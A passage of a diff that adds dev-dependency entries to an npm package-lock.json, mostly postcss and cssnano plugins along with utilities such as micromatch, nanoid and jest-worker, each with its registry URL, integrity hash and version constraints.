"sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==", + "dev": true + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/ignore": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.0.tgz", + "integrity": "sha512-CmxgYGiEPCLhfLnpPp1MoRmifwEIOgjcHXxOBjv7mY96c+eWScsOP9c112ZyLdWHi0FxHjI+4uVhKYp/gcdRmQ==", + "dev": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dev": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dev": true, + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-builtin-module": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-3.1.0.tgz", + "integrity": "sha512-OV7JjAgOTfAFJmHZLvpSTb4qi0nIILDV1gWPYDnDJUTNFM5aGlRAhk4QcT8i7TuAleeEV5Fdkqn3t4mS+Q11fg==", + "dev": true, + "dependencies": { + "builtin-modules": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/is-core-module": { + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.9.0.tgz", + "integrity": "sha512-+5FPy5PnwmO3lvfMb0AsoPaBG+5KHUI0wYFXOtYPnVVVspTFUuMZNfNaNVRt3FZadstu2c8x23vykRW/NBoU6A==", + "dev": true, + "dependencies": { + "has": "^1.0.3" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-module/-/is-module-1.0.0.tgz", + "integrity": "sha512-51ypPSPCoTEIN9dy5Oy+h4pShgJmPCygKfyRCISBI+JoWT/2oJvK8QPxmwv7b/p239jXrm9M1mlQbyKJ5A152g==", + "dev": true + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-reference": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-reference/-/is-reference-1.2.1.tgz", + "integrity": "sha512-U82MsXXiFIrjCK4otLT+o2NA2Cd2g5MLoOVXUZjIOhLurrRxpEXzI8O0KZHr3IjLvlAH1kTPYSuqer5T9ZVBKQ==", + "dev": true, + "dependencies": { + "@types/estree": "*" + } + }, + "node_modules/jest-worker": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz", + "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==", + "dev": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^7.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/lilconfig": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.0.5.tgz", + "integrity": "sha512-xaYmXZtTHPAw5m+xLN8ab9C+3a8YmV3asNSPOATITbtwrfbwaLJj8h66H1WMIpALCkqsIzK3h7oQ+PdX+LQ9Eg==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "dev": true + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", + "dev": true + }, + "node_modules/magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "dev": true, + "dependencies": { + "sourcemap-codec": "^1.4.8" + } + }, + "node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "dev": true + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "dependencies": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/nanoid": { + "version": "3.3.4", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.4.tgz", + "integrity": "sha512-MqBkQh/OHTS2egovRtLk45wEyNXwF+cokD+1YPf9u5VfJiRdAiRwB2froX5Co9Rh20xs4siNPm8naNotSD6RBw==", + "dev": true, + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/node-releases": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.5.tgz", + "integrity": "sha512-U9h1NLROZTq9uE1SNffn6WuPDg8icmi3ns4rEl/oTfIle4iLjTliCzgTsbaIFMq/Xn078/lfY/BL0GWZ+psK4Q==", + "dev": true + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "dev": true + }, + "node_modules/path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==", + "dev": true + }, + "node_modules/picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "dev": true, + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss": { + "version": "8.4.14", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.14.tgz", + "integrity": "sha512-E398TUmfAYFPBSdzgeieK2Y1+1cpdxJx8yXbK/m57nRhKSmk1GB2tO4lbLBtlkfPQTDKfe4Xqv1ASWPpayPEig==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + } + ], + "dependencies": { + "nanoid": "^3.3.4", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-calc": { + "version": "8.2.4", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz", + "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.9", + "postcss-value-parser": "^4.2.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-cli": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/postcss-cli/-/postcss-cli-9.1.0.tgz", + "integrity": "sha512-zvDN2ADbWfza42sAnj+O2uUWyL0eRL1V+6giM2vi4SqTR3gTYy8XzcpfwccayF2szcUif0HMmXiEaDv9iEhcpw==", + "dev": true, + "dependencies": { + "chokidar": "^3.3.0", + "dependency-graph": "^0.11.0", + "fs-extra": "^10.0.0", + "get-stdin": "^9.0.0", + "globby": "^12.0.0", + "picocolors": "^1.0.0", + "postcss-load-config": "^3.0.0", + "postcss-reporter": "^7.0.0", + "pretty-hrtime": "^1.0.3", + "read-cache": "^1.0.0", + "slash": "^4.0.0", + "yargs": "^17.0.0" + }, + "bin": { + "postcss": "index.js" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-colormin": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz", + "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==", + "dev": true, + "dependencies": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0", + "colord": "^2.9.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-convert-values": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz", + "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==", + "dev": true, + "dependencies": { + "browserslist": "^4.20.3", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-comments": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", + "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-duplicates": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", + "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-empty": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", + "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-discard-overridden": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", + "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-import": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-14.1.0.tgz", + "integrity": "sha512-flwI+Vgm4SElObFVPpTIT7SU7R3qk2L7PyduMcokiaVKuWv9d/U+Gm/QAd8NDLuykTWTkcrjOeD2Pp1rMeBTGw==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + }, + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "postcss": "^8.0.0" + } + }, + "node_modules/postcss-load-config": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-3.1.4.tgz", + "integrity": "sha512-6DiM4E7v4coTE4uzA8U//WhtPwyhiim3eyjEMFCnUpzbrkK9wJHgKDT2mR+HbtSrd/NubVaYTOpSpjUl8NQeRg==", + "dev": true, + "dependencies": { + "lilconfig": "^2.0.5", + "yaml": "^1.10.2" + }, + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-merge-longhand": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz", + "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0", + "stylehacks": "^5.1.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-merge-rules": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz", + "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==", + "dev": true, + "dependencies": { + "browserslist": "^4.16.6", + "caniuse-api": "^3.0.0", + "cssnano-utils": "^3.1.0", + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-font-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", + "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-gradients": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", + "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "dev": true, + "dependencies": { + "colord": "^2.9.1", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-params": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz", + "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==", + "dev": true, + "dependencies": { + "browserslist": "^4.16.6", + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-minify-selectors": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", + "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "dev": true, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dev": true, + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz", + "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==", + "dev": true, + "dependencies": { + "browserslist": "^4.16.6", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": 